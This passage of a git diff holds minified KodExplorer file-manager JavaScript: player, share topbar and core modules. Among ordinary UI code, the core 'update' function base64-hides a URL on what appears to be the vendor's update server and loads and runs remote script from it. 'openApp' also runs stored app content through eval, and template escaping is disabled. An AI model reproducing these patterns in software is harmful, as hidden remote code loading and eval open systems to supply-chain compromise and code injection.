0)},d=function(t){if(t){"string"==typeof t&&(t=[t]);var i=e("./myPlayer");i.play(t)}},p=function(e){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e)};return{open:t,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,openUnknow:i,downloadUrl:n,download:a}}),define("app/common/myPlayer",[],function(e){var t="",i="",n="music_player",a="movie_player",o=function(e){var a=e==n?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==n&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(a),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?n:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?n:a)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,n=t[i],a={extType:n,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return a[n]=e.url,a},c=function(e,t){if(t){var i=e.parents(".jPlayer"),n={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,n)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),n=$.dialog.list[e]; +n&&n.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),a=r(i),d=l(e[0]);a||(a=o(i),i==n&&p.init()),i==n&&(d=p.insert(a,e,t)),c(a,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,n="circle",a=function(n,a){i=n;for(var s=e.length,r=0;a.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==a[r].url){c=!0;break}if(c){if(r==a.length-1)return t!=d&&o(d),!1}else e.push(l(a[r]))}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(n){n=0>=n?0:n,n=n>=e.length-1?e.length-1:n,t=n;var a=e[n];c(i,a),u(!1)},s=function(i){switch(n){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],n=i.url+"&download=1";ui.pathOpen.downloadUrl(n)},p=function(){t=0,e=[],n="circle";var i=$(".jPlayer-music"),a=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=a.length?0:e;var t=a[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),n=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(n){var a=$(i).parents(".jPlayer");if(n){var o="";$.each(e,function(e,t){o+='<li class="item"> <span class="name">'+t.title+'</span> <div class="action-right"> <span class="download"><i class="icon-download-alt"></i></span> <span class="remove"><i class="icon-remove"></i></span> </div> </li>'}),a.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(a.find(".item-title").html(e[t].title),a.find(".item").removeClass("this"),a.find(".item:eq("+t+")").addClass("this"),f(a.find(".player-bg")),void 0):(t=0,a.find(".item-title").html("&nbsp; "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),n="160deg",a="background-image: -webkit-linear-gradient("+n+", "+t+", "+i+"); background-image: -moz-linear-gradient("+n+", "+t+", "+i+"); background-image: -o-linear-gradient("+n+", "+t+", "+i+"); background-image: -ms-linear-gradient("+n+", "+t+", "+i+"); background-image: linear-gradient("+n+", "+t+", "+i+");";e.attr("style",a)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:a,init:p}}(),u=function(n){var o=s(n[0].ext);o==a?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMovie,d(n)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMusic,d(n)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(e=e.replace("index.php?","index.php/"));var i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}); \ No newline at end of file diff --git a/static/js/app/src/share_explorer/main.js b/static/js/app/src/share_explorer/main.js index 9baa422..a1591a2 100755 --- a/static/js/app/src/share_explorer/main.js +++ b/static/js/app/src/share_explorer/main.js @@ -1,8 +1,8 @@ -/*! power by kodexplorer ver3.42(2017-04-08) [build 1491589321217] */ -define("app/src/share_explorer/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/core","../../share_common/rightMenu","../../common/taskTap","../explorer/ui","../explorer/fileContent","../../common/tree","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../explorer/path","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize","../explorer/headerAddress","../../share_common/topbar"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".fileContiner",FileBoxClass:".fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".fileContiner .title",SelectClass:".fileContiner .select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",TreeId:"folderList",pageApp:"explorer",treeAjaxURL:"index.php?share/treeList&app=folder&user="+G.user+"&sid="+G.sid,AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),core=e("../../common/core"),rightMenu=e("../../share_common/rightMenu"),TaskTap=e("../../common/taskTap"),ui=e("../explorer/ui"),ui.tree=e("../../common/tree"),ui.path=e("../explorer/path"),ui.fileLight=e("../explorer/fileLight"),ui.fileSelect=e("../explorer/fileSelect"),ui.fileListResize=e("../explorer/fileListResize"),ui.headerAddress=e("../explorer/headerAddress");var t=e("../../share_common/topbar");$(document).ready(function(){function i(e){var t=RegExp("(^|&)"+e+"=([^&]*)(&|$)"),i=window.location.search.substr(1).match(t);return null!=i?unescape(i[2]):null}core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),ui.headerAddress.init(),ui.tree.init(),TaskTap.init(),rightMenu.initExplorer(),t.init(),ui.fileListResize.init(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),$(".frame-main .frame-left #folderList").css("bottom","0px"),"file_list"==i("type")&&($(".menu-theme-list").remove(),$(".tools .tools-left").remove(),$(".header-middle").prependTo(".tools").css("padding-top","3px"),$("#yarnball").addClass("btn-left-radius")),$(".kod_path_tool #upload").hide(),G.share_info.can_upload&&($(".kod_path_tool #upload").show(),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()})),$("#fav").remove(),ui.path.show_file=function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+urlEncode(ui.path.makeParam().path);window.open(e)}})}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n 